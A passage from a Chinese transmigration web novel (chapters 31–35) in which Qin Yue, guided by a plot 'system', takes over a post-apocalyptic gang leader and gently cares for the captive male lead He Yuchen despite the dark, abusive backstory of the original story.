贺煜臣睁大眼睛,被这一句话砸的晕头转向,不确定地问道:“什么意思?” 秦越手臂环上来时带着坚定的力道,却又不敢太用力,像是捧着一只刚破茧的蝶。 “其实我是为你才回来的。”秦越有点不讲道理地说,“你得补偿我。” 漫天霞光都在摇晃,心跳如蝴蝶振翅。 “补偿你……”什么。 贺煜臣的话没说完,被尽数温柔地以吻封缄。 第一滴雨砸在江面上,荡漾出一圈圈波纹,天空仿佛被划破的水囊,雨水陡然间直直坠落。 邮轮鸣笛两声,它要在暴雨来的更大之前,启程回港。 秦越看见了港口处一个迎风展开双臂的女性雕塑,许久未清理,已经蒙尘了,看不出原来的模样。 他觉得好奇查了一下名字,还有点应景——水畔爱神。 邮轮开进了港口,两个灵魂依偎在一起,斩断雨幕。他们身后城市写字楼的玻璃幕墙,在雨幕中扭曲成流动的银瀑。 暴雨来得急去得也快,也不知道什么时候停了,落日的余晖又一次洋洋洒洒地铺满街道。 光辉挥洒在行走的路人脸上,他们大都松了一口气,便继续行走匆匆,天南海北地奔向既定的目标。 水面倒映着巨大的雕像,它一扫之前的衰败和灰尘。在雨水的冲刷下,它找回了自己曾经的意义。 于是,在这一刻,“爱神”降临了。 第32章 废墟遗迹。 这是人类和感染者的隔离带。 人类联邦和感染者营地被废墟遗迹分隔在两端。 遗迹中充斥着手沾鲜血的亡命之徒和见钱眼开的雇佣兵。 其中最著名的组织要数“升棺”。 顾名思义,别人升棺,他们发财。 他们下手狠厉,训练有素,成为了整个废墟遗迹最闻之丧胆的名字。 联邦没有精力,也没有实力去处理这群疯子。他们处理不了这帮亡命徒,却又不得不承认,他们止住了感染者进一步吞噬人类家园的脚步。 二十区,“升棺”本部。 秦越在刺鼻的血腥味中睁开了眼。 面前一大块空地上跪着十几号人,他们人挨着人,像是一群受惊的鹌鹑,没有一个人敢抬头。 脸颊上传来湿湿的凉意,秦越下意识地用指腹轻轻擦过那处。 指腹上是一片触目惊心的猩红。 秦越:“……” 更令他不适的是他脚底下不远处,是沾染着血水的衣物,和一蓬黑糊糊的杂草。 等到看清楚那团杂草究竟是什么的时候,秦越心里猛地一沉。 不对,这根本不是什么杂草。 ……是人的头发。 似乎有个人,悄无声息地被隔空碾死在了衣服下面,血肉骨头都变成了渣滓,只剩下枯草似的头发。 [1027号员工,新世界已载入,白月光助攻系统竭诚为您服务。本次您的身份是升棺组织的首领,原文的主要反派之一。] 底下跪伏的人胆战心惊地看着这位杀神,轻轻地拂去脸上溅落的血迹,又慢条斯理地把目光转向他们。 仿佛处死那个叛徒,并不能停止他想杀戮的心。 秦越绕过脚底下那团看不出生前模样的尸体,问刚刚突然冒出来的声音:“你是什么东西?” 系统噎了一下,每个世界都会清理冗杂数据,它压根不记得自己宿主讲话那么不客气。 它按照流程简单介绍一下了秦越的工作任务。 最后它补充道:[……刚刚那具尸体,是不久前被原主弄死的,这是他的异能,可以控制周围的大气压。所以您只能看见一坨看不出形状的血泥。] 这是一个存在着异能和感染者的世界。 几百年前,在一次普通的X级太阳耀斑之后,伴随着一颗流星坠落,除了极北之地出现了短暂的停电,没有任何异常。 相安无事地度过了十几年后,个别人类发现自己出现了异常,随后不久,科学家研发出了异能诱导剂,最大程度地激发这些人的能力。而另一部分人类则变成了形象异常的怪物,他们的智商多数停留幼儿阶段,饿了就本能地捕食人类过活,被称为感染者。 但对社会达尔文主义者来说,这是一场筛选。人类在这场灾难的洗礼中,开始了新一轮的迭代。 原文男主名叫贺煜臣,出生在联邦首都,家族显赫,世代从军,个人能力也极强。也许是太过耀眼,联邦总统开始忌惮他们家族,在一次秘密军事行动中,联邦政府暗地中重创了贺煜臣的军队,并将他偷偷送到了废墟遗迹,对外谎称他已经战死。 联邦政府没有直接斩草除根,是因为看中了他的异能,希望可以提取出他的异能基因,从而人为造出继承他异能的后代,为联邦继续效力。于是政府跟升棺组织的首领谈好条件,人由升棺看管,他们定期来废墟遗迹对贺煜臣提取一些人体实验数据。 升棺的首领秦越,原本是联邦贫苦的底层人,他因为买不起异能诱导剂,只能在黑市里买一些不合格的劣质产品,导致他虽然激发了异能,但也对他身体造成了不可挽回的伤害。 秦越因为身体原因,被联邦高层抛弃后,逃难来到了废墟遗迹,凭借血腥的手段,和不要命的行事风格,获得了一群追随者。 这就是升棺的雏形。 秦越平生最恨那些高高在上的联邦特权人。 所以联邦政府把人送来的时候,他没什么理由拒绝。 并且这极大地勾起了他的报复欲。 系统弱弱地补充:[这个不可挽回伤害主要是他使用异能的时候,实际要忍受很大的身体负荷,所以会导致疼痛。还有一个……] 秦越挑眉:“继续说。” 系统心一横:[还有一个就是他那个不行了!] 它举着透明屏幕往秦越脸上怼,[原主因为自己X无能,所以变态程度又上了一个台阶!] 秦越微微头往后仰了仰,系统太激动了,差点直接把屏幕直接拍自己脸上。 屏幕上白纸黑字,没有任何遮挡地落入秦越的瞳孔。 [又到了和玩具独处的时间了。秦越慢悠悠地踱步进入那个隐秘的房间。] [贺煜臣眉头苦闷难耐地蹙在一起,在秦越掌下欢愉又痛苦的痉挛着。] [原本高高在上的人,在他身下也不过是可以任自己随意揉捏的玩物,那一瞬间,秦越感到了无比的兴奋。] [秦越脸上又出现了贺煜臣熟悉的笑容。] [阴暗,暴戾。] [他控制不了自己的欲望,但他可以控制别人的。比如……秦越将手中小玩意的功率又调高了一个档,他冷漠地注视着面前人,愉悦地听着贺煜臣嘶哑难耐的声音。] [求我啊。他伏在贺煜臣耳边恶劣地说道。] [……] 秦越:“……” 好一个明明白白,不做作的变态啊。 秦越直截了当:“我觉得我干不来这事。” 系统顿时警铃大作,它回想起自己后台的记录,该宿主的强制脱离申请次数,是其他任务执行者的数倍。 它一个回旋,飞到秦越面前,低声下气:[没有要求您一定要那么做,但这是一本打脸复仇小说,介于这次您的身份又是反派,所以您还肩负着被打脸的重任。] 秦越疑惑:“我记得你不是叫什么,白月光助攻系统吗?” 系统点头啊对对对,[这是主要任务,打脸是次要任务,但是现在首要的任务,是您得先去接男主了,稍后我再详细跟您说明情况。] 废墟遗迹并没有它字面上那么破败。 实际上由于被联邦抛弃的底层人相继而来,这里经过几十年的重建,已经变得像模像样起来。 暗巷里雨水横流,贺煜臣难堪地倒在地上,异能抑制剂的效果一直在灼烧着他的神经。 冰冷的雨水早就打湿了贺煜臣的衣服,湿漉漉地贴在他的脊背上,很难受。 明明他已经逃离了这个噩梦,明明秦越已经死了…… 为什么一睁眼,他又回到了这个巷子。 无数个夜晚,他都在想还不如死在这个阴雨天,也好比尊严如同垃圾一样,被对方死死地践踏。 皮靴踏过地面的声音,不轻不重地传来。 贺煜臣的脊背一僵,手指无力地蜷缩在一起。他听惯了这个声音,每次出现的时候,总是让他不寒而栗。 秦越审视着眼前站着的几个黑袍人,最后目光落在了地上狼狈趴着的男人身上。 “老大,请您过目。”手下从黑袍人手上接过一个箱子,毕恭毕敬地拎到秦越面前打开。 箱子里是满满当当的银币。 在这个不稳定的社会,纸钞可能在时局动荡后,就变成了一堆废纸,唯有这种硬通货,才是有钱人的挚爱。 秦越随意捻起一枚银币,似乎在仔细研究它的质地。 黑袍人开口:“我们合作过多次,但这一次不一样,上头特意要求他必须要活着。我们会定期派人过来采取他的数据,你需要注意的一点是,绝不能让他出去。你听明白了吗?” 发话的人或许是当上位者习惯了,说话中带着他自己没有察觉的颐指气使。 秦越眸光带着不明的情绪,扫过黑袍人,他手上的银币突然凌空而起,直奔对方而去。 嗡—— 银币险险地停在脆弱的颈部动脉前,急停之下,还带着金属震颤的低鸣。 黑袍人额角上渗出冷汗。在这个距离里,他能清楚地看见秦越的眼睛泛着暗红。 据说是因为秦越当年激发异能使用的诱导剂是劣质版本,导致他异能有缺陷,但没人敢去证实这件事是不是真的。 “无论是王公贵族,还是什么将军执政官,来了废墟遗迹,他们就只有一个身份。” “——我的资产。”秦越看似好脾气地笑了笑,他指尖一动,将那枚不起眼的银币收了回来,“在这里,没有我的允许,死人都不能出去。” 等到无形的压力随着秦越的动作消散,黑袍人这才敢擦了擦冷汗,将另一个箱子匆匆放在秦越脚边,“这是抑制剂,你要记得每隔五天给他注射一次,如果你忘记了……我希望你不要忘记,毕竟他在联邦异能等级是高危,到时候我们也不能保证你的安全。” 秦越心想,保证啥啊保证,等到男主恢复实力之后,你们下场也好不到哪里去。 黑袍人怕待得久会留下什么证据似的,交代完事情就离开了,不过更像是不愿意跟秦越久待,他对升棺首领阴晴不定的脾气早有耳闻,但今天属实是拿命见识了。 秦越随手将银币扔回箱子,他低头看了看脏兮兮的男主,示意手底下的小弟把人搬上车。 手下刚走到贺煜臣身边,还没来得及有什么动作,就措手不及地挨了打。 原本一动不动趴在地上,似乎是昏迷的贺煜臣,骤然暴起狠狠地给了他鼻梁一记直拳。 “老大!”手下就是个没有异能的普通人,直接被据说异能等级是高危的贺煜臣给唬住了。 他在紧张之余,没注意到贺煜臣其实连站都站不稳了。 秦越停住了返程的脚步,回过头上下打量着贺煜臣,像在观察一个无家可归的动物。 贺煜臣紧张防备地跟秦越对视,艰难地扶住墙壁,濒临极限的神经快要绷断了。 不能在回去了,不能在回到那个暗无天日的地方了…… 他听见自己压在喉咙里愤怒的咆哮,此刻却像是无助的呜咽。就像被人活生生打断了腿的狗,即使骨头已经愈合如初,可看到始作俑者的时候,还是只敢哀哀地低吼,打着哆嗦,再也不敢上去咬他一口。 瞅着脸色惨白的男主,似乎是龇牙咧嘴地想给他咬上一口。 不过秦越看出了贺煜臣的色厉内荏,反而不紧不慢地靠近了他。 贺煜臣动了,他体力已经到了极限,也没有像样的武器,他现在全身上下,最锋利的武器是他的牙齿。 贺煜臣尖锐的齿尖已经碰到了秦越的手背,只差一点点,就能刺穿皮肤。 介于贺煜臣对他的威胁性,无线趋近于零,秦越抬了抬嘴角,嗤笑道:“收起你的牙齿。否则我不介意一颗颗把它们敲下来。”—— 作者有话说:紧急加个说明:看见评论区有宝子吓到了,补充一下,小贺不是原世界的人,也是从真实世界来的。所以上一世发生的事情就是个剧本背景设定,没有被原主酱酱酿酿![裂开]当谜语人习惯了,以为上一个世界已经暗示清楚俩人都是从真实世界穿进来的了[化了] 第33章 贺煜臣终究是没有咬下去,不是因为他被秦越的话震慑住了,而是整个人支撑不住,脱力地往地上摔去。 他的体力不足以让他真的对秦越造成什么伤害。 没有想象中砸向地面的钝痛,秦越接住了他。 男人的胸膛很温暖,求生本能让失温的躯体想靠近,但心理上却因为离秦越太近,让贺煜臣害怕到胃部一阵痉挛,令他作呕。 秦越感觉到贺煜臣在发抖,干燥带着薄茧的指尖,轻轻擦过了对方的脸颊。 秦越只觉得触及到一块冰,皱眉道:“还能坚持住么?” 回答他的是一片安静,还有淅淅沥沥的雨声。 秦越盯着贺煜臣紧抿的唇角,脸色沉了下来。 不知道怎么回事,一到这种雨天,他的心情总是难以遏制的糟糕。 压抑,窒息……孤独。 而这种捉摸不定的失落感,只会徒增他的烦躁。 秦越耐心告罄,他直接快走几步,把人扔上车。 “现在算接完了吗?”秦越问系统。 系统看了一眼呼吸急促,脸上泛着不正常潮红的男主:如果这能被称为接的话……简直看上去像是把男主绑架了啊啊啊。 ……虽然从某种意义来说,男主确实是被绑架了。 它紧张地看着秦越冷厉的眼神,依旧坚持自己的任务目标:[1027号,现在你不能就把人弄死了!他是男主,他死了我们任务就完蛋了。] 秦越习惯性地从副驾储物箱里取出烟盒,掏出一根叼在嘴里,从口袋里拿出打火机,停顿了一下终究没有点上。 他骨节分明的手指把玩着打火机,火光一明一灭,脸色晦暗不明。 “给你三十秒,把任务说清楚。” 系统简直佩服以前的自己,之前的世界是怎么跟这种不好说话的宿主组队配合的。 系统别无他法,快速跟秦越介绍了一下原文的感情线。 其实硬要说的话,原文就没有什么感情线,因为男主的正牌CP虽然前期就出现了,但是俩人是纯纯的兄弟情,到后期感觉作者像是突然觉得男主需要一个恋人,然后灵光一现,大笔一挥把这个好兄弟拉到情侣位置上,凑合了一下。 读者抗议说这也太生硬了,两个人全是战友情,完全看不到任何爱情的火花,还不如让男主的白月光上位。 最离谱的事情来了,这个白月光他完全是读者自封的。因为男主跟他的交际,仅限于军校时期,顶多算是志同道合的朋友。 白月光是身份是联邦总统的儿子,读者单纯觉得他俩相爱相杀,末世版本的罗密欧和朱丽叶更好嗑而已。 系统不需要呼吸,但是说完也不止三十秒。 秦越听完,没有任何触动:“所以?你总不会指望我能当个媒人吧。” 系统哪敢啊,它提高音量:[不用不用,您只需要让他俩见面,任务就算完成一半了,接下来读者会自己脑补的。] 它是不指望这个世界能完成100%了,但是还是希望能有个50%,好回去交差。 秦越面无表情:“你是不是在诓我,男主后期肯定会回到联邦的,他们自然而然就会见面,我帮不帮忙这个结局都不会被影响。” 系统:[不行啊,男主虽然确实是回去了,但他是带着你的部下杀回去的,总统以及跟他有所牵连的人都锒铛入狱了,他俩压根没有见上一面,白月光就被处死了。] “我的部下?”秦越捕捉到重点。 系统开始汗流浃背:[这就涉及到打脸剧情了……反正那会您应该已经挂了,这都不重要了。] 升棺以及废墟遗迹的大部分人,都是被联邦抛弃的流民,他们不能创造价值,被特权阶级舍弃。 贺煜臣是改革派人,本来就看不惯联邦高层人对底层人的压迫,他承诺会给流民们他们应有的人权。 秦越这个首领死了之后,他麾下这些人群龙无首,被恢复实力的贺煜臣整合重编,训练成更有纪律性的部队,同时他与旧部取得了联系,汇合了两股力量,血洗了联邦高层。 秦越回到了住处,看了一眼焦急地在眼前飘来飘去地系统,“放心,还活着。” 系统:我谢谢你啊。 秦越推了推迷迷糊糊的贺煜臣,盯着人观察了一会。 系统围观了半天,紧张地扭来扭去,生怕宿主一个不高兴,下手太重把人弄得没气了。 确定贺煜臣不是在装晕后,秦越把人扶进了房间。 贺煜臣无意识地垂着头,秦越很清楚地能看见对方后颈处一片青紫。 是注射异能抑制剂的位置。 秦越见过那些明显比其他注射器粗的针头,其表面令人不适的金属反光清晰可见。 加上给贺煜臣注射完的后续流程,明显很处理得很随意。仅仅是自己刚刚看到的,贺煜臣后颈的伤口就沾染了不干净的雨水,导致皮肤已经肿了起来。 秦越环顾一下周围,翻出了原主的医药箱,他随手拿起几瓶医用喷雾,发现差不多都过期了。 他立刻发了个消息安排手下的人送新的药物过来,因为不太懂这种伤口要用什么药,他干脆让手下多弄几种类型的消炎药。 等到秦越安排好,他一转身发现刚刚躺在沙发上的贺煜臣已经不见踪影。 秦越懵了一秒,人呢? 他的住处说大不大,说小不小。找个人还是需要点时间。 秦越找了一圈,在最里面的房间找到了贺煜臣。 那是他自己的卧室。 贺煜臣看见秦越的瞬间,停下了所有的动作。 秦越看着大开的窗户,没有别的表情,只是走了过去将窗户推上。 “怎么,想从这跳下去。”秦越俯视着贺煜臣开玩笑似的说道。 突然他敛起笑意,猛地将贺煜臣手腕扣住,将人强行压到窗玻璃上,“看清楚了么?这里是二十楼。” 真是一眼没看住,男主就要给他整个大动静。秦越当然知道以男主的性子不是求死,应该是想逃跑。 不过他也太高估自己现在的身体状况了,秦越吓唬完人之后,就松开了手。 贺煜臣心里扑通扑通乱跳起来,他脑袋依旧昏昏沉沉的,玻璃上的凉意反而让不正常的体温感到舒服。 秦越接下来会怎么做? 是不是跟曾经一样? 贺煜臣听见自己牙关打颤的声音,他动了动脚踝,想掩耳盗铃般脱离秦越的掌控,将自己往后挪一挪。 秦越:“别动!” 语气低沉又急促。 贺煜臣僵在了原地,目光死死盯着脚前的地毯上。 房间里死一般寂静,过了几秒钟,才传来秦越的声音。 “去把自己洗干净。” 贺煜臣嘴里泛出苦涩的味道,他闭了闭眼睛,接受了这个事实。 身上的疼痛又断断续续地传来,贺煜臣他没有再说什么,机械地走进了浴室里。 卧室里现在就剩下秦越一个人。 只不过他表情不是贺煜臣想象的那种冷酷。 秦越肉疼地看着贺煜臣刚刚踩过的地毯。 地毯的原料取自废墟遗迹特有的一种变异兔的绒毛,像蒲公英似的,光着脚踩上去还特别柔软舒服。 秦越对这张地毯特别满意。 只不过贺煜臣此前刚从脏兮兮的泥坑里被捞出来。 身上自然干净不到哪里去。 秦越艰难地把目光从地毯上清晰的足迹上移走。 那处陷下去的绒毛变成了灰色,还沾着一些水珠。 秦越严肃地思考:“不会洗不干净了吧……” 系统:[……?] 你刚刚想杀人的语气就是为了这个?! 系统真为贺煜臣感到憋屈。 贺煜臣伸手打开了花洒,水汽很快地弥漫在室内。 干净的热水顺着脊背慢慢流淌,贺煜臣觉得这室内狭窄让他心慌,他连忙伸手扶住了墙壁,指尖触到的大理石瓷砖竟在渗出水珠。 贺煜臣后知后觉,那是自己掌心的冷汗。他慢慢地缩回手,才发现自己正在无意识地颤栗。 浴室的窗口很小,要钻出去很困难。 况且,就跟秦越说得一样,这里是二十楼。 贺煜臣没有焦点的瞳孔,木然地扫视着浴室,直到他看见了洗漱用的杯子,是陶瓷做的。 如果摔碎了,锋利的边缘也是不错的凶刃。贺煜臣鬼使神差地拿起杯子,表面平静,但激烈的心理斗争快要把他逼疯了。 是忍耐,还是假意的顺从,再找机会把秦越杀了。 贺煜臣的接下来的举动,已经替自己做了抉择。 在浴室外的秦越听到一声清脆的声音,像是什么东西被碰倒摔碎了。 系统跳了起来:[贺煜臣不会因为太虚弱了,晕倒在浴室了吧?!我听说有人晕倒在浴缸里,然后溺死的……] 秦越来不及多想,快步走到浴室门口。 毛玻璃上映出高大的身影,“喂,你怎么了?” 秦越敲了敲浴室的门,里面静悄悄的。 系统耐不住性子,它气沉丹田喊道:[开门!快开门!!] 天杀的,不能穿来的第一天,男主就死了吧! 秦越尝试按了一下门把手,不出意外地没按动。贺煜臣进去前,把门反锁了。 还好这是一个有异能的世界,不然秦越还真不知道怎么破门而入。 随着异能的发动,锁舌被气压弹了回去。 就在进去的一瞬间,秦越看见了浴帘后的身影。 是站着的,看上去不像失去意识的样子……但是还没松一口气,秦越下一秒就意识到对方没穿衣服。 他将门口架子上的浴巾一把扯下来,准头精确地朝贺煜臣扔了过去。 贺煜臣眼前一黑,被浴巾盖了个严严实实。 他懵了好一会,才手忙脚乱地把浴巾从自己脑袋上扒拉下来。 贺煜臣以为自己会看到一个怒不可遏的秦越。 但几步之外的秦越侧过头,压根没有看他第二眼。 拿着碎瓷片的贺煜臣突然觉得有些荒谬—— 作者有话说:秦越:男朋友想弄死我的第一天。 第34章 手掌不自觉地收紧,掌心的碎瓷片刺破皮肤,一阵钝痛。 但贺煜臣依旧没有扔掉,这唯一能让他安心的东西。 秦越:“刚刚问你为什么不回答?” 他进来没多久,就看见了地下摔碎的杯子,瞬间猜到刚刚那一声脆响的源头是这里。 等了半天,还是没有动静。 秦越这才发觉,从见面到现在,贺煜臣一句话都没说过。 简直是个哑巴。 秦越不耐烦地蹙眉:“说话。” 贺煜臣只好哑着嗓子回道:“我说了,但是你没听见。” 他撒了个小慌,不过贺煜臣不知道这能不能缓解对方的怒火。 贺煜臣说话的声音很轻,因为他喉咙确实疼得厉害。 秦越只瞥了他一眼,就抬手打开浴室的门,出去前他想到什么补充道:“在这里,不许反锁门。” 人晕死在里面了,他还要想办法开门,怪麻烦的。 随着浴室门被带上,贺煜臣这才松开紧握的手,伤口处凝结的血液像珠子滴滴答答地落入浴缸。 贺煜臣缓缓吐出一口气,神色怔愣,看样子秦越是不打算跟他计较这件事了。 秦越在门外也是同样地松了口气。 好险,差点来的第一天任务对象就死了。 秦越虽然对任务不太感兴趣,但刚刚从系统口中得知,他是助攻局的优秀员工,上个世界完成度还是100%。 莫名的胜负欲就上来了,哪怕想赢的对象是上个世界的自己。 秦越趁着贺煜臣还没出来,又详细地问了系统一下,原文中男主的正牌CP是谁,他现在不仅得让男主跟白月光见面,还得对这个正牌男友严防死守。 系统:[噢,您还没见过他,但是你已经见过他爹了。] 秦越脑海中回忆了一通,他刚来一天,见过的人也就那么几个,可是感觉没有一个人像男主恋人他爸。 系统嘿嘿一笑:[就是您刚来时,面前的那具尸体。] 嘿嘿你个头啊。 秦越:…… 突然觉得原主死的也不冤枉,居然能同时得罪主角阵营里两个重要角色。 “他当时为什么要杀人?”秦越知道原主心理扭曲,脾气差得可以,但一般行事还是有逻辑的,不是纯粹的暴君,也不会做出杀人取乐的事,不然也没有那么多人愿意死心塌地追随他。 系统:[因为那个人背叛组织,想投诚联邦政府。被原主发现杀了以儆效尤。] 原主可以为了废墟遗迹的长久发展,退让一步接受跟联邦政府合作。但伏低做小,原主是绝对不允许的,何况本来他就对联邦高层没有什么好脸色。 秦越了然,这件事上,他倒是觉得原主做的没什么问题。毕竟在这个弱肉强食的特殊环境下,原主下手不决绝一点,被人背后捅一刀也是有可能的。 他粗略地了解完感情戏后,话题一转,“关于你说的这个剧情线,具体该怎么走?” 系统:[前期您直接按原文剧情操作即可,不需要特殊发挥。如果有些过分的点您做不到也没关系,因为男主相当的记仇,后期您自然而然就会死了。不过您不必担心,您是不会真正死在这个世界的。] 秦越来了点兴趣,好奇道:“我最后是怎么死的?” 系统不明白怎么有人会想听自己的死相,但还是有问必答,[在感染者营地,贺煜臣拿您打窝。] 秦越:“打窝?” 系统解释:[您应该见过别人钓鱼吧,他们会朝垂钓点投放诱饵,吸引鱼群聚集,这就是打窝。] 秦越额角直跳。 “我……洗好了。”日后会拿他打窝的人,此刻正站得远远的,朝着自己的方向低声说话。 秦越看着贺煜臣,感到身上一阵被感染者分食的幻痛。 他刚想说为什么裹着浴巾就出来了,下一秒就想起来让对方只有脏衣服,而自己没有伺候人的经验,自然不可能会提前准备好干净的衣物。 秦越摸了摸鼻子,准备先找件没穿过的衣服给贺煜臣凑合一下。 他才起身,房门就被敲响了。 秦越疑惑了一瞬,然后想起来之前他让手底下来送药,应该是对方药物买好了。他打开门,果不其然,门口站着送药的人。 秦越接过了对方带来的袋子,手下识趣地没有说话,也没有往房间多看一眼。大晚上老大让他送一堆消炎药,虽然不清楚具体发生了什么,但屋里面那位应该被折腾惨了。 他撇了撇嘴,谁都知道老大最讨厌高高在上的特权阶级。他没见过秦越带回来的人,不过据说对方的家族名声煊赫,可惜在废墟遗迹里再厉害也没用,联邦的手伸不到这,这里令行禁止,而制定规则的人只有秦越。 贺煜臣远远地看着秦越拎着一个袋子进来了。 他不想知道里面是什么,可是之前的记忆让他很清楚,里面不外乎都是那些恶心的东西。 理智告诉他现在应该服软,说几句好听的,也许对方心情一好,就会收手不折腾他。 可是贺煜臣一句话都说不出来,只能僵在原地,掌心没有愈合的伤口跟针扎似的,细细密密得疼。 秦越撩了一眼站得像个雕塑的贺煜臣,把袋子放在沙发前的茶几上。 “过来。”他朝贺煜臣抬了抬手指。 贺煜臣自虐似的握紧手心,希望疼痛能让他变得清醒,而不是只有满腔的恐惧。 他已经知道了秦越的结局,自己成功地“回敬”了对方,现在就不该如此畏惧。贺煜臣喘了一口气,可腿就跟灌了铅似的,一动不动。 秦越已经看完了买来的药,发现贺煜臣还站在原地垂着头,好像地毯开出花了似的,眼睛一眨不眨地专心研究。 他轻轻敲了一下桌面,似笑非笑道:“还要我请你过来?” 贺煜臣心一紧,知道这次多半是躲不过了,只好迈着僵硬地步伐走了过去。 他站在沙发前,目光落在黑色丝绒的沙发套上,没头没尾地问了一句:“是要在这里吗?” 贺煜臣声音太小了,还带着颤抖,秦越压根没听清,他正在纠结先用哪个药,完全没有任何医疗常识基础的他,最后决定都试试,总有一款有用。 秦越随手先拿了一个瓶装的外敷消炎药,一转身发现贺煜臣跟个幽灵似的站在自己身后,无声无息得。秦越吓了一跳,脱口而出:“你站在这干什么?” 贺煜臣不可置信又难堪地看着秦越,他没有想到对方居然无耻到这个地步,还要亲口听自己说出接下来要做的事情。 系统不合时宜地冒了个泡:[1027号,剧情线刚刚动了。] 秦越懵了,他什么都没做啊。 男主那么的小心眼吗,这记仇记得也太随意了吧? 秦越看向贺煜臣,带上了点情绪,朝沙发上一瞥,示意他坐下。 贺煜臣个子不算矮,站着给他上药,秦越也嫌麻烦。 然后,秦越半天没说话。 他看了看躺在沙发上脸色惨淡的贺煜臣,又看了看飘在空中的系统,寻思自己也没让他躺下吧? 秦越无奈地碰了碰贺煜臣胳膊,“起来,没让你躺着。” 你躺着我怎么给你后颈上药啊。 贺煜臣抿了抿唇线,本就苍白的唇瓣现在更是一点血色都没有,他点了点头,“你是想换个姿势吗?” 秦越:“?” 什么姿势?换什么? 秦越脑袋上问号在开会,但天色已经很晚了,折腾那么久,自己都开始犯困了。 于是秦越没理贺煜臣,二话不说打开了外敷的药,挤了一点胶状的药物在手上,接着手法粗暴地朝着贺煜臣脖子上一通乱抹。 秦越一边抹药,一边不禁感慨,贺煜臣不愧是男主,受了伤还那么精神。 贺煜臣震惊了。 他被这种毫无章法地涂抹动作给震住了。 贺煜臣:“你……”在干什么? 话还没讲完,他又被秦越按住,只是这次不是胶状的东西了。 秦越拿着一个喷雾药剂,跟驱蚊似的,朝着他的后颈一顿乱喷。 药剂味道算不上好闻,而且因为剂量用的太多,贺煜臣周围的空气全是苦涩的味道,他忍不住推开了秦越。 秦越也没深究他这个胆大的动作,但是这莫名其妙的惩罚,还没结束。 后颈的皮肤上被秦越覆盖上了一层东西。 这次贺煜臣闻出来了,这是一款常用膏药的味道。 秦越的动作谈不上温柔,但贺煜臣能清晰地感到他没什么恶意。 秦越把零零散散的药物扔回袋子里:“好了,明天早上再换药。” 他其实也挺紧张的。 秦越的心境大概是作为第一次养宠物的人,没什么经验,每天一睁眼就怕把宠物养死了。 贺煜臣慢了半拍,才嗯了一声,他摸了摸上了药的伤口,继续一声不吭地看着秦越。 看到秦越没有搭理他的意思,贺煜臣垂眸问道:“接下来,要做什么?” 秦越今天好说话得简直可怕,像换了个人。但贺煜臣也知道,秦越心情不错的时候确实也是这样,可惜他做好人的时间不够抵消他的罪孽。 “……”秦越用眼神问系统。 系统看了半天戏,才跟秦越对上脑电波,它赶忙看了一眼剧情:[晚上休息的时候,男主是被关小黑屋的。] 秦越捏紧了拳头。 天杀的原主。深更半夜的,他从哪搞个小黑屋关人去。 秦越换了个问法:“剧情里有没有说明这个地方有哪些要求?” 系统不确定地回答:[大概就是很黑的房间,再加上一些小道具?] 没有具体位置,也没用其他强制要求。 秦越大概知道要怎么做了。 他先是去找了衣服给贺煜臣,然后当着贺煜臣的面,把客厅的灯关上。 贺煜臣闭了闭眼睛,过了一会,才适应了黑暗。 废墟遗迹不比人类联邦,这里水电都是很珍贵的东西。室外自然也没有什么灯光,关了室内的电灯后,黑得只能借助月光,才能看见秦越的模糊轮廓。 秦越冷淡的嗓音传了过来:“你晚上就睡在这里,不许开灯。我睡眠很浅,见不得光。” 贺煜臣静静看着他,过了很久,在确定自己没有理解错秦越的意思后,才开口:“……知道了。” 这个要求在贺煜臣看来,甚至算不上什么要求。 他以前的每一个夜晚都很难熬,没有真正意义上的睡着过。 这一次,秦越居然会让自己好好地休息。 他有些不明白为什么。 秦越苦恼地蹙眉,好了,这个黑是解决了,但是小道具怎么办呢? 系统鬼鬼祟祟地打小报告:[在原主的床底下,有好多。] 谢天谢地,幸好原主是个变态,没事居然提前备好东西放在卧室。 秦越心累,他转头又去卧室搬箱子。 他这一晚上忙得要死,都不知道是在虐男主,还是在虐他。 贺煜臣僵坐在沙发上,没有一丝睡意,身边放着秦越折叠好的衣服。 他对衣服避之不及,在不小心碰到的时候,贺煜臣仿佛被蛰了一下,瞬间缩了回来。 黑暗中,他跟与什么危险物品对峙一样,抱起沙发上的抱枕,戒备地盯着它。 或许意识到这样的僵持没有意义,贺煜臣迟疑了半天,终于小心翼翼地拿起衣服。 出乎贺煜臣的预料,都是很干净的衣服,商标都没有拆过。也没有带着恶俗含义的,不是那种什么都遮不住的衣服。 正当贺煜臣犹豫要不要换上衣服,客厅的角落里,有重物放下的声音。 似乎是秦越放了一个东西在这里,贺煜臣竖起耳朵,等听见卧室门关上后,他才轻手轻脚地走了过去。 贺煜臣观察周围,发现多出来的东西是一个体积不算小的木质箱子。 没有上锁,仿佛在邀请他打开看看。 贺煜臣没有犹豫就伸出了手,冷清的月光地照亮了里面的物件。 看到里面东西的一瞬间,贺煜臣有种隔世的恍惚感。 他怎么会忘了呢。 居然会因为秦越给他一点怜悯,就忘了他到底是个怎样的人,就期待他会一直这样下去。 真可笑。 那自己跟一只被驯服的狗又有什么区别? 贺煜臣平静地合上箱子,像什么都没看见一样,躺回到了沙发上。 卧室里,秦越刚阖上眼没多久,就听见系统叮了一声,发出新的报告:[宿主,剧情线又前进一大格,恭喜您,男主对您的怒意正在飙升。] 秦越:“???” 他到底又干了什么? 秦越瞪着天花板,眉宇里全是不解。 似乎自己什么也不用做,贺煜臣就会自动地记恨他。 虽然这对于做任务他来说,轻松了很多,但不知道为什么,秦越总觉得很不爽—— 作者有话说:秦越:excuseme? 第35章 秦越一晚上没睡好。 究其原因,每当他快要睡着的时候,系统就一通叮叮叮,然后喜气洋洋地祝贺他,男主对他的恨意值又增加了。 秦越在无语中暴起,反手将枕头朝空中砸了过去。 系统嗷地一声落地。 世界清净了。 等到光亮把秦越晃醒,他就看见系统可怜巴巴地挂在空中望着他。 废墟遗迹大部分时间都是阴雨连绵的,见不到什么阳光。 系统正模拟着暖洋洋的日光,谄媚地说道:[你醒啦。] 秦越慢吞吞爬起来,“有事说事。” 系统小声抱怨:[您再不起来,重要剧情就要被您耽误了。] 秦越看了一眼镜子里的自己,起床气快凝聚成实体了,他忍了又忍,从齿缝里挤出几个字,“说重点。” [重点就是您有巡视任务,而男主的正牌CP会趁您出门的时候,来到这搜查一些升棺的内部材料。这是他俩见面认识的契机。]系统知道自己可能又要挨打了,速速交代完情况。 当年人类异变发生后,人类的聚居地变得零散,所以才采取了联邦制。 废墟遗迹是被联邦舍弃的无人区,周围徘徊着感染者。 原主为了保障流民们的必要生活用品,除了不得已要替联邦政府做些脏活外,还需要承担作为感染者进攻的第一道防线的风险。 每日例行巡视是很重要的。 